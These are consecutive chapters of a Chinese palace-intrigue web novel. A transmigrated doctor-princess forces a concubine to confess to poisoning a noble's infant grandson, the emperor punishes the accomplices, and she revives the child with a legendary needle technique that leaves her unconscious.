沈听晚缓缓起身,抬手朝着柳姨娘的方向指了指:“柳姨娘看样子还是不怎么老实,我想要知道她究竟给小公子下了什么毒,不过如果想寻常一样问她,她怕是不肯说呢。” 既然不肯说,那就换一种别的方式,反正,世上可有这么多审讯的法子呢,沈听晚不怕柳姨娘就是不说。 君翊也自然明白了小姑娘的意思,决定配合的转头:“你们去帮帮王妃吧。” “是!” 君翊的话音一落,立马就有几个侍卫上前一步,脸上满是肃杀之气。 “你们……要干什么?”柳姨娘脸上充满了惧怕之色,看着侍卫们一点点逼近自己,吓得瞪大了双眼,惊恐的向后退去。 “咚……”的一声,柳姨娘被其中一个侍卫,用力的一脚踹的摔倒在地,半点也不怜香惜玉…… 只见柳姨娘的整个身体就如同一个破碎的娃娃似的,摔在地上,一大口鲜血猛地从她的口中喷出来。 “啊……救命啊……” “翊王府要……要杀人了!” 柳姨娘勉强着挣扎起身,一边连吐着好几口鲜血,一边想要往外头爬去。 她不能继续呆在这里了,那些个侍卫实在是太可怕了,再继续下去,她估计现在就要没命了! “叫,继续叫,越大声越好,我爱听。”沈听晚冷笑着开口,这个时候这柳姨娘竟然还想着要逃呢? 整个侯府的下人都严阵以待,别说现在柳姨娘是谋害侯府小公子的真凶,就算不是,没有侯爷和王爷府开口,柳姨娘怕是也出不了侯府的大门一步。 柳姨娘摔倒在地后,沈听晚一个大步上前,抬手一把揪住柳姨娘的衣襟冷冷的道:“再给你最后一次机会,说,还是不说?” 侯府的后院,此时围满了人,当然,大部分都受侯府的人,还有沈将军一家。 沈夫沈母看着自己的女儿 ,两个人都满是不可思议,狠狠地咽了一口口水,然后两人面面相觑。 沈时修的脸色也没好到哪里去,他看着自己的妹妹,如此彪悍的一面,简直没眼看的别过头去。 “这……还是他那个温婉柔顺可爱的妹妹了吗?” 怎么嫁到翊王府才没多长时间,晚晚的性格变化怎么会这么大呢? 现在的沈听晚,简直是和从前的模样判若两人啊! 沈时修陷入了深思。 他一度怀疑,自己眼前的妹妹看上去真的和从前不一样了。 至于究竟是哪里不一样,沈时修也说不出来,大概是性情和从前截然不同了吧。 可是…… 沈时修眉头紧紧蹙起。 是他太多心了吗? 眼前的人,明明就是自己的妹妹,一举一动,声音,还有整个面孔,都在告诉他,她就是自己的妹妹啊。 那自己的心里为什么,总是觉得,哪里有些不大对劲呢? 沈听晚的举动,惊的可不光只有沈家人,当然还有侯府的一众人。 不过,侯府的人没有自家侯爷的命令,自然是不会对柳姨娘出手相救的。 虽然柳姨娘也算是侯府的人,翊王怎么说也算是外人,如果按照常理来说,下人们肯定会上前去护着柳姨娘的。 但是现在…… 呵呵,抱歉。 这个柳姨娘是谁啊? 他们可不认得。 他们只知道,侯府的小公子,差点就死在了这个女人的手里! 还有从前,夫人肚子里那个没能出世就夭折的孩子,也是拜这个女人所赐。 翊王殿下的侍卫最好是能把这个女人给打死了,不然,等到时候落到他们的手上,这个柳姨娘的下场,只怕是会更惨呢! “说!你到底给煜儿下了什么毒?”此时定远侯也满脸戾气的开口,一双眼如同刀一般射向柳姨娘的身上。 定远侯从来没管过内宅的事。 想不到,他们侯府之中,竟然出了这么一个蛇蝎心肠的女人! 第166章 去求皇上,或许还能有用些 简直是叫人出乎意料啊! 连一个小小的姨娘都敢在侯府中行凶,而且还不止一次,还让他险些没查出来。 不得不说,定远侯此时都感觉自己的这张老脸,都仿佛是在火上烧啊。 如果不是因为有翊王妃在,怕是他今天就回认定为是沈夫人害得他的孙子,到时候,后果便是沈家和侯府彻底交恶。 本来当今皇帝就对他们这些武将,心生敬意,武将在朝廷上,也是如履薄冰,也多亏啦他们私底下报团取暖,才没有给人可乘之机。 但如果侯府和沈家彻底决裂,那到时候,整个朝廷怕是都会因此而产生巨大的变化啊! 定远侯心里那叫一个恨呢。 不杀了这个女人,难灭他心头之火! 此时,柳姨娘浑身痛的连张嘴都有些困难。 “再给我打!”定远侯见她不是说,干脆叫上自己府上的下人,再打! 打到柳姨娘肯说实话为止! “我……我说,我说,是见血封喉散,我想要彻底杀了小公子,想要在侯府有一席之地,可有小公子在,我就永远生不出长孙,他就是我未来儿子的绊脚石,他的命绝不能留!” 她的孩子,如果不是嫡子也不是长孙,那她留在侯府,还有什么意义呢? 柳姨娘也是彻底受不住了,一听到定远侯还要派人再打她,立刻什么话都招了。 沈听晚听到柳姨娘口中地毒药,脸色也巨变。 “糟了!”沈听晚眉头紧拧,随即厉声地说:“快带我去见小公子!” 知道那毒药的名字,便也就知道从什么地方开始下手解毒了。 只是,麻烦就麻烦在,柳姨娘对小公子可是下了狠手,那毒十分的不好解不说,再晚上一刻钟,怕是小公子的性命难保啊! 此时,谢夫人也缓和了不少,勉强起身:“翊王妃跟我走!” 她知道,这位翊王妃是懂些医术的,虽然她也不确定,眼前这个看上去年纪不大的王妃娘娘,究竟能不能救好她的儿子。 可现下,太医还没被请到府上,府医对自己儿子中的毒也是束手无策,不管怎么说,沈听晚现在也算是她儿子唯一的希望了。 就死马当活马医吧! 沈听晚跟着谢夫人大步朝着院外走去。 定远侯虽然心急自己孙子的情况,但发生这样的事,不能没有人主持大局,只能留下来。 他深吸一口气,脸上略显疲惫:“少卿正好也在,那本候便不用再去报官了,方才之事,少卿想必也已经了解,柳姨娘是我侯府中人,有我侯府自行处置,至于其他人,便交给大理寺一并发落吧。” 定远侯没有其他的要求,只一点,他孙子的罪不能白挨了,现在煜儿生死不明,想要害他的人,自然也不能过得太舒服了! 然而事实上,定远侯的这份叮嘱实在是有些多余了且不说赵金燕和沈夫人原本就有仇在,就这一次,赵金燕和永国公老夫人联合诬陷他的母亲,沈时修就不可能将此事善了! 沈时修在之前就已经叫人去了大理寺,召唤了狱卒前来,二话没说,就直接将永国公老夫人和赵金燕给拿下了。 永国公老夫人原本还想要挣扎一番,向仗着自己的身份和年纪倚老卖老,却不想,狱卒有沈时修在,压根就不买永国公老夫人这个皇后之母的账,该如何押下去,是半分力道也没减。 侯府里,一下子又少了不少的人,接下来便是轮到了处置柳姨娘了。 定远侯面无表情:“残害侯府嫡长孙,其罪当诛! 不过先前本候既然答应你,不杀你,自然不会食言。 来人,把她给我连夜扔去庄子,找庄长看着,另外,从前在她身边服侍的所有婢女一律处死!” 至于那个柳姨娘的表姑母…… 定远侯大手一挥:“把这个女人送去刑部大牢,让刑部按我东陵律令判!” 这个柳姨娘的表姑母身份自然不比永国公老夫人和赵金燕,两人毕竟是朝中重臣的家眷,不好直觉移交刑部大牢。 但是,柳姨娘表姑母就不一样了,不过是一个小小的庶民,如果不是和侯府攀上点关系,恐怕现在连良田和房子都没着落有。 如今良田有了,房子也有了,竟然还不知道感恩,还一再贪得无厌! 此番定远侯是下了狠心,柳姨娘的表姑母怕是这辈子都很难从大牢里出来了! “不……侯爷,我错了,我真的知道错了,求你放过我这一次吧,我……我愿意此生吃斋念佛给小公子和整个侯府祈福!”柳姨娘此时是真的后悔莫及。 如果她不是想要得到在侯府的地位,是不是就不会有这么一遭了。 如果她能够安分守己,在侯府做一个小透明,所有人都不会注意到她,她有着姨娘的身份,下人们只会敬着她,她这辈子都会过那衣食无忧的生活。 可事已至此,在没有回旋的余地了。 定远侯铁骨铮铮的汉子,一口吐沫一个钉,连叫柳姨娘在侯府留宿一晚都没有,直接叫人安排了马车,强行把柳姨娘给塞进去送走了。 柳姨娘被送去了庄子,而与此同时,大理寺这边永国公也得到消息,本想去闯牢房把永国公老夫人救出来,却被沈时修亲自拦下来。 “国公大人,对不住,这是侯府递来的状子!” “放肆,你可知道被你关着的人是谁吗!她是本国公的妻,当今皇后的亲生母亲!” 永国公担心自己的妻子,他们都是年近半百的人了,哪里受得了在大牢里遭这份罪啊,索性便要拿身份威胁沈时修。 可是,这一招对别人或许管用,可是在沈时修的面前,却是半点用也没有。 “永国公老夫人残害侯府小公子,而且还陷害沈将军夫人,这罪责可不小。” 沈时修没有称自己的母亲,而是沈将军的夫人,便是要告诉永国公,哪怕永国公老夫人是当今皇后的母亲,此事也不是说能大事化小就能小的。 “如果永老国公想要保下永国公老夫人,还是去求皇上为好。” 第167章 皇后替母开脱 有皇上的圣旨在,或许还能叫他听命行事。 当然了,皇帝如果知道此事,想不想要蹚着趟浑水,那可就两说了。 沈时修主打的就是一副公事公办的态度。 有本事就去找皇上啊。 这永国公不是老在外面以国丈自居吗,那现在就看看,皇上到底会不会为了保住自己的岳母,连东陵的国法都不顾了! 永国公到最后也是连面都没见到自己妻子一面,气的又直接匆匆入宫了。 结果,定远侯正好在御书房内与皇帝说此事,将今天在自己孙子周岁宴上所发生的所有事,一五一十的传到了皇帝耳中。 定远侯也是个刚硬的,为了给自己孙子讨回一个公道,甚至不惜舍了自己的侯爵之位,也要求陛下对永国公老夫人和李夫人严惩不贷。 皇帝听了,那叫一个恨铁不成钢,更是头疼的很。 恰巧这个时候皇后也听讯赶来,得知自己母亲被关入大牢的事情,简直是不敢相信,跪地哭求。 “陛下开恩啊,放过母亲这一次,她年岁翊高,怎么能受得了这大牢之苦啊!” 皇后一副痛心到崩溃的样子。 皇帝看了一眼站在一旁一脸痛心疾首的定远侯,脸色从始至终就没好看过。 “永国公老夫人是朕的岳母,本应该恪守成规,为京城众夫人之表率才对,却参与谋害定远侯小公子,还欲嫁祸她人,实在可恶!” 他今天要是真的松了口饶了自己的岳母,明日大臣为侯府请命的折子就能把他这个皇帝给埋了! “定远侯是我东陵曾经的忠勇将军,为东陵奉献了大半辈子,朕绝不能让定远侯以及全京城的武将寒了心。” 皇帝当着定远侯的面,也不能偏袒了自己的岳母。 更何况,永国公老夫人作为皇帝的岳母,更应该做好京城表率,但居然做出此等卑劣之事。 这不是叫他这个皇帝难做吗! 想到这里,皇帝的心中更为恼火起来。 “陛下,母亲她固然有错,但也身体年迈,一时糊涂才犯下大错啊,还请陛下开恩,对母亲网开一面啊陛下!” 她是东陵的皇后,永国公老夫人作为她的母亲,如果她连自己的母亲都保全不了,那这个皇后做的未免也太过失败了! 见着皇帝坐在龙椅之上,眉头紧锁着不语,皇后立马又道:“况且此事,并非母亲一人之过,臣妾听说,此事主谋本是出自于侯府……” 皇后见着皇帝脸色动容,便开始替自己的母亲开脱。 那可是她的亲生母亲啊。 皇后说什么,也一定要保住自己母亲的安危。 而且,那幕后之人柳姨娘才是真凶,怎么不见定远侯罚她呢! 皇后想到这里,便有些为自己的母亲打抱不平。 “定远侯,此事你怎么看?”皇帝一时之间也觉得事情有些棘手,看向定远侯开口问到。 定远侯面无表情:“陛下,老臣并没有想要为难永国公老夫人的意思,只是按东陵律法来判即可。 还有,皇后所言不错,幕后真凶确实出自侯府,此事是老臣管教不严,老臣已经命人将此恶妇丢去庄子,自有人惩戒。 但永国公老夫人设计陷害沈将军夫人为真,怂恿李夫人偷盗御赐之物也皆有人可作证! 老臣此番请旨进宫,也是托沈将军的愿,沈夫人因为此事受尽惊吓,将军欲送沈夫人回府,待回府之后,沈将军也会进宫来向陛下说明一切。” 定远侯淡淡的开口,语气中带着不容置疑的寒意来。 没错,那幕后真凶的确是出自于侯府,但柳姨娘他不会放过。 可永国公老夫人所犯的错,也不能说揭过就能揭过去的! 定远侯的话,更是叫皇帝一阵头疼的很。 怎么一个定远侯还不够,等下那沈将军还要进宫来? 这是把他的皇宫当做什么了!想来就能来吗? 事实上,皇帝的心里就算是再气恼,也只能生生的咽回肚子里,不能发作。 要知道,眼前的这个定远侯,从前也是为了东陵上过无数次战场杀敌的有功之臣,哪怕现在年岁大了,手上的兵权渐渐移交,但影响力还是不小的。 现如今,整个朝堂的风气本就传他这个皇帝重文轻武,对武将处处提防,偏偏这个时候倒好,他这个好岳母竟然一连给他得罪了两个武将不说,他这个愚蠢的皇后,还不明是非的跑过来和定远侯对峙。 皇后此时的心里头比谁的恨,当然她不跟别人,她恨得是,到现在她才反应过来,自己竟然不被沈听晚那个死丫头给耍了! 表面上答应她答应的好好的,要帮她劝沈家辅佐太子,可结果可倒好,背地里竟然就对她母亲下手了! 此时虽然说她母亲也有错,但如果不是沈家将此事硬抓着不放,她母亲也不至于被关入大牢里头去啊。 皇后可都听说啦,那个亲自将她母亲押进大牢里面的可就是沈家的那位大公子呢! 皇后到现在才反应过来,原来从始至终,沈听晚都没打算带着身价投靠太子的阵营! 想到这里,皇后恨不得杀了沈听晚的心都有了。 可现在,她不能发做,母亲还被关在牢里头呢,不管怎么说,先把母亲从大牢里面救出来才是最重要的! “陛下。”定远侯也不打断再和皇后多有口舌牵扯,只见他缓缓跪在地上:“此事事发突然,老臣也是只请旨进宫,将此事如实禀报陛下,至于永国公老夫人和侍郎李夫人应当如何处置,还需要陛下定夺。” 得。 又是一个烂摊子,直接甩到了他这个做皇帝的脑袋上了。 “嗯,此事朕已经知晓了,虽然毒害侯府小公子的真凶不是永国公老夫人,但也按帮凶论处,但永国公老夫人毕竟是朕的岳母,而且年岁已经颇高,便褫夺诰命封号,送她去苦陀寺带发修行三年,为侯府小公子祈福,恕罪,就免了她流放千里之刑吧。 定远侯,你看如何?”皇上到最后还是向定远侯求了这个情。 第168章 胆子忒大了! 永国公老夫人毕竟是皇后之母,如果真的被贬为庶民流放千里,那太子的颜面还要不要了? 定远侯抬眸看了皇帝一眼,有看了一眼跪在地上垂头不语的皇后。 “既然陛下觉得永国公老夫人去苦陀寺更为合适,那老臣便听从陛下旨意。” 定远侯是早就知道,皇帝绝对不会对永国公老夫人加以重罚的,便也就顺水推舟,不再多说什么。 只不过,他不多说,可不代表沈家就会因此罢休。 惩罚永国公老夫人这一遭,那是因为她作为谋害他孙子帮凶的惩治,但陷害沈家夫人这件事,可还没完呢! 定远侯心里正想着,便听到此时,正殿之外赵启林脚步匆匆的走进来,脸色有些难看的开口:“沈将军在宫外请旨求见陛下,而且还……” 皇帝沉下脸去,顿时有一种不好的预感油然而生,眉头不禁紧紧皱了起来,沉声道问道:“而且还什么?” 听见皇帝的质问,赵启林将头紧紧低下,深吸一口气,仿佛下定了决心一般开口:“而且沈将军与大理寺少卿两位齐齐跪在宫门外,求陛下给沈夫人主持公道……” 这会儿,皇宫的大门口,早已经人满为患了,站了不少的百姓,议论纷纷。 原本定远侯小孙子中毒这件事没几个人知道,这下子好了,京城里头的人,恨不得闹得全都知道了。 “什么!”听见这话,皇帝震惊的猛地从龙椅上站起身来,只觉得两眼一黑,险些没晕倒过去。 有了沈将军和大理寺少卿沈时修的这么一闹,原本皇帝本想大事化小,从轻发落也是不行了。 最后,永国公老夫人被罚赔偿沈家三千万两白银作为对沈夫人的精神补偿,另外送去苦陀寺带发修行八年,为国祈福以示赎罪,至于那赵金燕,虽然也算是帮凶,并不算主谋,但夫家只不过是一个小小的侍郎,赵家的势力也大不如从前,根本保护不了女儿,更何况,李家在听说这件事情之后,压根就没想管此事,甚至还连夜写了休书,直接对外宣称与赵家断绝一切关系,从今往后与赵金燕桥归桥,路归路,各自安好! 李家这一过河拆桥的举动,自然招来了不少人的谩骂声音,但李侍郎却不在乎这些。 他的经历本就不在仕途之上,要不是有赵金燕这只母老虎硬逼着他,他只想做一个闲散的风尘公子来的逍遥自在。 可自打把赵金燕娶进门来之后,李家就在没有消停的日子。 就连李侍郎想要从外面多带回来两人姨娘,赵金燕都要一哭二闹三上吊的折腾。 可以说,李侍郎是早就受够了赵金燕的泼妇性子,正愁着没有理由休妻呢,这会儿正巧赶上赵金燕犯下大错,他自然不能错过了这么好的机会。 最后,赵金燕被判入狱五年,另外杖责八十,此事才总算是告一段落。 而这一会儿,还继续留在定远侯府给小公子解毒的沈听晚,却丝毫不知道皇帝对永国公老夫人和赵金燕的判罚旨意。 她现在满眼就只能看得见躺在床上那个小小又可怜无助的身影。 只见那小小骄傲的一团,蜷缩在床上,整张小脸惨白的吓人,并且能够看得出来,孩子现在十分痛苦。 沈听晚只看一眼,就知道这孩子现在的情况十分紧急。 她面露眼底,毫不客气的开口:“麻烦大家都让一让,退后几步,别挡着光,另外再叫人多点几根蜡烛,最好能移近一些,光线太暗,等下我不好下针。” 沈听晚一边将人送来的银针解开,把银针摊在床上,一边还不客气的命令着。 这会儿都已经算上人命关天了,沈听晚顾不得什么礼节,直接走到床边,抬手便把床上那小小一团儿的衣衫解开,也并未觉得有什么奇怪。 室内很快便大量起来,下人们把把烛台一个个摆放在床边,如同白昼,尤其是沈听晚这里,更是亮的有些刺眼,而且因为有这么多蜡烛同时点燃,沈听晚周围的温度也不是一般的高,很快便一股热浪扑面而来。 屋内的温度陡然间升高,不少人热的汗流浃背,忍不住抬手擦着头上的汗水。 可即便如此,谢夫人和谢公子也没有离开房间半步,站在床边,半步也舍不得退。 床上躺着的可是他们的亲生儿子啊,这为人父母的,恐怕没有人能体会到他们此时究竟是何种心境。 如果不是碍于方才沈听晚说得不能离床边太近,他们恨不得再离自己儿子更进一步才能安心呢。 沈听晚觉得有些不妙,看了一眼周围劈啪作响的烛光,眉头不禁紧促起来:“快去把窗子都打开!” 这么多的蜡烛燃烧,屋里头还有这么多人,不出一会儿的功夫,估计她还没等把床上的小家伙救回来,这些人就会因为缺氧中毒昏死过去吧。 沈听晚一想想都不禁摇头,她可没有那个精力,把小家伙救回来,再去救这些人了啊 “你们都出去,只留下一个人在一旁帮我就行了!” 沈听晚的话音刚落,谢夫人和谢家大公子便异口同声的齐开口:“我留下!” 周围地空气突然间变得格外安静起来。 谢家公子这会儿也反应过来,察觉到自己方才的话有些不妥。 人家毕竟是王妃,就算不是,也是一个女子,他一个大男人,而且还是有妇之夫,怎么能与翊王妃单独共处一室呢。 想到这里,谢家公子的视线不禁朝着君翊的方向偷偷看了两眼,这不看不要紧,一看简直仿佛天要塌了! 只见此时,翊王殿下的脸,黑的如同锅底灰一般难看,一双浓密俊眉也不紧拧起。 谢家这个大公子,胆子未免也忒大了些,当着他的面,竟然就敢提出要和他的王妃单独共处一室? 是真当他不存在吗? 君翊心里头郁闷这,难道说是因为他这一年没出门,所以在京城里头的威望小到可以让人随便忽视了? 第169章 七转反魄针 “都出去!本王留下帮王妃。”君翊冷声的开口。 他的媳妇,既然需要他亲自来帮忙的好,这么好的表现机会,这么能错过了呢! 这下子,谢公子和谢夫人才反应过来,刚才他们只一味地担心自己儿子的情况,却全然忽视了,翊王殿下也在房间里的事儿了! 沈听晚见着君翊,也是有些无奈:“殿下,您身子也没彻底痊愈呢,要不先去休息一下?” 她可不需要君翊这家伙留下来帮忙,有这家伙在,还不够添乱的呢! 君翊这下子彻底黑了脸。 连小姑娘也要拒绝他的好意? 沈听晚怎么可能看不出来,君翊脸色的变化,心里更加无奈,但即便如此,她也坚决不能让步! “好了,都想出去吧,王爷,你也在门外等我,谢夫人留下来帮我就好了。” 最后,沈听晚也不管那三七二十一,一股脑的将房间里的人全部都轰了出去,只留下谢夫人一个留在房间。 其实,留下谢夫人沈听晚也是有自己的原因的,一来她知道,谢夫人作为这孩子的母亲,一定是十分焦急自己孩子的情况的。 二来,刚才房间内就只有谢夫人一个女子在,她总不能叫一个陌生的男人留下来帮忙的吧。 虽然沈听晚作为现代人,而且还是一个医者,她是不在意的,但她现在毕竟是穿到了古代,而且还是翊王现在的王妃,还是需要注意一点自己名声的。 “谢谢。”谢夫人走上前来,一把拉住了沈听晚的手,眼睛里含着泪,情绪有些忍受不住的说道。 作为一个大夫,沈听晚很珍惜自己的一双手,当然,最不喜欢的也是有人无缘无故的突然触碰她这双能救人命的手。 沈听晚嘴角微微动了动:“不用客气。”垂头,试图想要从谢夫人的手上把自己的手抽离开来。 然而,好半天,沈听晚也没能把自己的手抽出来,不禁有些恼了:“谢夫人,要不要先救你的孩子?” 再耽搁下去,床上这孩子的命可就要没了。 谢夫人听到沈听晚的话,这才猛然间反应过来,立马松开了沈听晚的手,随即点头:“是是是,是我的错,对不住王妃娘娘,我……” 她实在是…… 谢夫人的脸上明显有些无措,仿佛像是做错了事的孩子,不知道该怎么办才好了。 沈听晚面无表情的点点头:“嗯,我能理解。” 不过,话锋一转,沈听晚一抹没有开口安慰,反而冷淡的出声:“你如果不能留下来帮忙的话,就也先出去吧。” 她其实自己一个人,也是可以的。 “我能!”谢夫人实在不愿意出去,在外面煎熬的等待着,不如留下来,最起码,她能亲眼看到自己的儿子。 这一次,沈听晚也没再开口说什么,只是指了指床上:“谢夫人,那就过来搭把手吧。” 谢夫人此时也彻底冷静了下来,几个箭步冲过来。 谢夫人把自己儿子浑身上下的衣服全部脱下去,很快,一个光不出溜的小身体便展露在两人面前。 沈听晚也没觉得有什么别扭的,关键是这个时候,也没有时间给她多想。 因为,沈听晚现在连那孩子的脉都摸不着了…… 沈听晚眉头紧锁,手中捻起一根银针便刺入了孩子的眉心穴位。 “唔……” 银针刺入男孩穴位的下一瞬,只见定远侯小公子的那张惨白到毫无血色地唇,吐露出轻微的痛苦呢喃。 谢夫人见状,神色激动:“有反应了!煜儿,是娘亲啊,你睁开眼睛快看看娘亲啊!” “别那么激动!”沈听晚一边冷声开口呵斥,一边又拿出数枚银针出来,直接封住了男孩的半身穴位。 她一边给谢煜摸着脉搏,一边查看着谢煜此时的情况。 当总算是摸到了男孩的脉搏之后,沈听晚那一张娇媚的脸颊骤然冷了下来。 不好! 这孩子现在的情况,实在是太危急了! 此刻,沈听晚都有些后悔,刚才就不应该动了恻隐之心,让这孩子的母亲留下来的! 不过现在,是说什么也来不及了。 来不及多想的沈听晚,一连又是几根银针落下,下一瞬,一大口污血从男孩的口中涌出,然而这还没完,只见很快,男孩的双眼,双耳,鼻腔之中都不同程度的开始往外流出黑血。 “煜儿!” 谢夫人哪里碰见过这样的阵仗,看着自己儿子躺在床上奄奄一息,只有刚开始,脸上还露出痛苦的表情,可是现在,看上去像是彻底昏死过去的模样,立马慌了。 “你……你对我儿子做了什么?” 煜儿刚才明明不是这样的啊! “闭嘴!” 沈听晚冷眸轻抬,瞪了一眼谢夫人,声音带着点喘意。 看着谢煜的情况,沈听晚也是狠狠地咬了咬牙。 看来,也只能用那最后一招了! 七转反魂针。 这一针法,乃是上古医术传承。 因能让人起死回生,所以又被叫做逢春神针。 但是这一针法,沈听晚却是很少给人永,就连当初,她嫁给君翊的那一晚,给君翊解毒,她都没施展出来。 原因就是,这针法的确是有可以叫人起死回生的厉害,可是对施针者自身的伤害,也是不算小。 一针下去,沈听晚短则三五天,多则半个月,怕是都只能躺在床上好生修养了。 沈听晚深吸一口气。 罢了,她本来就是医者,而且既然已经答应了给这孩子解毒,那她就不能食言。 更何况,她只用这么一次,应该对自己的身体没什么大碍的…… 想到这里,沈听晚也不在犹豫,轻颤的指尖捏住银针,便迅速下针,又快又狠。 谢夫人是不懂得医术的,也不知道沈听晚给自己儿子身上扎这么多针,到底能不能有作用。 她看着床上奄奄一息的儿子,满眼尽是心疼之色。 她的宝贝儿子啊,老天为何要让他遭受这份罪啊! 如果可以,谢夫人恨不得替自己的儿子承受这些痛苦,恨不得中毒的人是她! 第170章 还请替王爷保密 这样,最起码,她儿子就不用再承受这些了。 谢夫人心疼的握住自己儿子地小手,拿着手帕不断的擦拭着儿子惨白如纸的小脸儿。 然而,正当谢夫人一脸心疼的看着床上,却在下一瞬,突然间察觉自己儿子的脸色似乎以肉眼可见的速度恢复了血色,就连方才还不断流出黑血的七窍,也不流了! 谢夫人不敢置信的看着眼前的一切,眼看着自己的儿子从奄奄一息,逐渐恢复了血色:“醒了!我的煜儿醒了!” 谢夫人一脸激动的开口,声音中含着哽咽,喜极而泣。 然而,沈听晚的动作还没完,见着谢夫人脸上的激动,眉头不禁紧皱,眼神冷厉的瞪过去。 原本还因为看到儿子情况好转而感到激动的谢夫人吓得立马抬手捂住自己的嘴,一双大眼写满惊恐与担忧。 她担心,自己被王妃赶走,这样她就见不到儿子的情况了。 然而事实上,现在的沈听晚压根没工夫搭理谢夫人,见着她冷静下来,便又继续开始施针,伴随着第二针落下,沈听晚也变得汗如雨下,脸色惨白的就如同抽干了浑身的血液死的。 沈听晚的手也开始不受控制的抖了起来,两条纤细笔直的腿也有些发软。 她深吸一口气。 他奶奶的! 沈听晚在心里头暗骂一声。 她真是高估自己这副小身板了! 如果换做是她现代的那副身子,这两针下去,最多也就是叫她有些疲乏而已。 可这副身体,压根就没有从小受过磨砺,本就娇生惯养出来的,压根就扛不住沈听晚这么折腾。 碰…… 最终,沈听晚还是没能忍住,双腿一软不过在摔倒的最后一秒,沈听晚控制着身体,往床边上一倒。 谢夫人也被沈听晚的情况吓了一跳,赶忙下意识出手想要去扶:“王妃娘娘,您没事吧……” “别动我!” 然而,谢夫人的话还没说完,沈听晚便头也不抬的娇喝制止道。 谢夫人的手停留在半空中,被沈听晚的这一句声呵斥,惊得不敢擅自去扶。 沈听晚的双手杵在床沿上,只觉得两眼发黑,好像下一秒就要晕死过去似的。 她咬了咬牙,只剩下最后一针了! 她必须要坚持住,绝不能在这个时候半途而废。 因为,就算是她现在停止给谢煜施针,她身体的亏损也回不来了,不仅如此,谢煜的命也再也没办法救回来。 所以,她不能前功尽弃。 而此时,谢夫人的手依旧停留在半空中,她已经察觉到了沈听晚的不对劲了,可是却不知道,她为什么会变成这样。 但有一点,谢夫人能明白,王妃之所以变得虚弱,肯定和给自己儿子施针有很大的关系! 因为,沈听晚从刚才到现在变得满脸惨白虚弱,前前后后只做了给自己儿子医治这么一件事了。 想到这里,谢夫人看向沈听晚的眼神,也不禁充满了感激。 王妃娘娘这真的是在用尽全力在救治煜儿啊。 刚才她还对王妃娘娘有所怀疑,她实在是太糊涂了! 不过更加叫谢夫人庆幸的是,她刚才怀疑沈听晚归怀疑,但是面上却没有表现出来,还是让沈听晚给自己儿子解毒了。 若不是这样的话,她儿子的命,恐怕就真的要不保了! 想到这里,谢夫人也是一阵后怕。沈听晚不敢多耽误功夫,一阵眩晕过后,她用最快的速度调整了一下,并且捻起一根银针直接扎入自己手背虎口的穴位上,勉强支撑着精神起来。 在身体恢复了一点体力之后,沈听晚才起身,准备给谢煜下这最后的一针。 “唔……” 最后一针扎入谢煜的穴位上,床上的男孩可算是有了反应,缓缓睁开了双眼,喉咙里发出沙哑的呢喃声。 呼…… 总算是救回来了。 沈听晚看着床上的谢煜睁开了眼,也是狠狠滴松了口气,下一瞬,便因为身体虚弱,仿佛丢了半条命的沈听晚,毫无征兆的昏死了过去…… “王妃娘娘!” 谢夫人的一阵惊呼,惹来了门外所有人的注意。 君翊更是在听到谢夫人的声音下一瞬,一个起身,箭步冲入房中。 然而,他刚进门,便看到自己的小姑娘,不知道为什么,就那样昏倒在了床上。 “晚晚!”君翊的眼底也陡然间闪过一丝慌乱来。 他的小姑娘这究竟是怎么了? 怎么好端端的给人医治,自己还昏倒了呢? 而在场之人,也没有一个不感觉到震惊的。 他们呆愣愣的站在原地,看着君翊的身影像一阵风似的重进房间里,双眼不禁不敢置信的瞪圆了不少。 这…… 王爷什么时候竟然能站起来了? 他们没有看错吧? 王爷不是刚还说,他的身子没有那么快好的吗? 因为君翊的这一举动,暗祁也是一脸生无可恋的捂住了眼。 没眼看啊。 简直就是没眼看啊! 明明刚开始他们王爷还是冷要在外人面前隐藏自己已经痊愈的事情。 可下一秒,就因为他们王妃娘娘,什么都不管不顾了? 门外,谢公子以为自己看错了,他看了看轮椅上空无一人,有抬头看向房间门口,最终,他深吸一口气,有些不敢置信的看向暗祁。 “祁……祁侍卫,我刚才是眼花了吗?” 暗祁看向侯爷谢家公子,嘴角勾起一抹无奈的笑,随即抬手,将手指贴近自己唇边,轻声的嘘了一声:“还望谢公子能够替我家王爷保密。” 谢公子听见这话,连忙不迭的点头答应,也知道事情的严重性,赶忙开口:“祁侍卫放心,今天我什么都没看到!” 看玩笑,王爷的身子好了,那在京城里可是一桩可以惊天动地的消息啊。 要是这件事情,在侯府泄露出去,那岂不是要与翊王殿下为敌了吗! 见着谢公子表态,暗祁才微微放心,同时也松了口气。 好在,这院子里的人不多,侯府谢公子也做了保证,不然的话,估计他们王爷的秘密,恐怕就要守不住了! 第171章 耗费大量精力 房间里,君翊看到沈听晚晕倒的那一幕,也是被狠狠滴吓了一跳,他忙上前去,把人从谢夫人的身边扶起来:“晚晚,你怎么了?” 谢夫人也被吓蒙了,刚才还沉浸在自己儿子苏醒过来的激动当中呢,哪成想,下一秒,给自己儿子医治的王妃娘娘就这么突然之间的晕倒了过去。 然而事实上,沈听晚只是因为体力不支,在加上这副身体的严重透支,导致的昏迷。 七转反魄针,七针下去,就算是已经咽了气的死人,她都能给救回来,争得一线生机。 不过,这针法,沈听晚自打从学会到现在,也不过是用了两次而已。 过度耗费体力的沈听晚,整个人昏睡过去,不省人事,但整个身体还不断的往外冒着冷汗直流,很快就把整个衣襟浸湿。 汗水透过沈听晚的衣襟,侵染在君翊的手上,君翊周身一顿,在垂眼看过去,就见到沈听晚浑身被汗水打湿的这一幕,仿佛淋了一场大雨。 君翊看着眼前的沈听晚,眸中满是浓浓的心疼与不安。 他不知道小姑娘这究竟是怎么了,但有一点可以确定的是,小姑娘变成这样,肯定和这一场医治有关系。 可是他又不明白了,给人医治,又怎么会吧自己给弄得这么狼狈呢? “快去请大夫!” 听到君翊的话,房间里的谢夫人和刚从门外冲进来的谢公子这才反应过来。 谢公子立马想要转头朝门外汉下人快去,可突然间像是又想到了什么似的,转头脸色有些犹豫的看向翊王。 “王爷,您……” 谢公子看向眼前的翊王殿下,现在房间里只有侯府的人和翊王府的侍卫,翊王殿下的秘密倒还能受得住,但如果说叫来外面的大夫进府,那恐怕…… 暗祁也忙不迭走上前,微弯下腰去靠近君翊,低声提醒道:“王爷,您还是先坐会轮椅上去吧……” 其实,今天翊王本不应该出门来一趟的,现在外面有不少人都盯着翊王府呢,保不齐就会让在暗处盯着的人发现什么端倪来。 君翊深吸一口气,沉声的说:“先去叫大夫给王妃诊治!” 随即便见他起身,抬脚坐会轮椅上。 有了翊王殿下的话,谢公子也赶忙转头扬声叫了大夫。 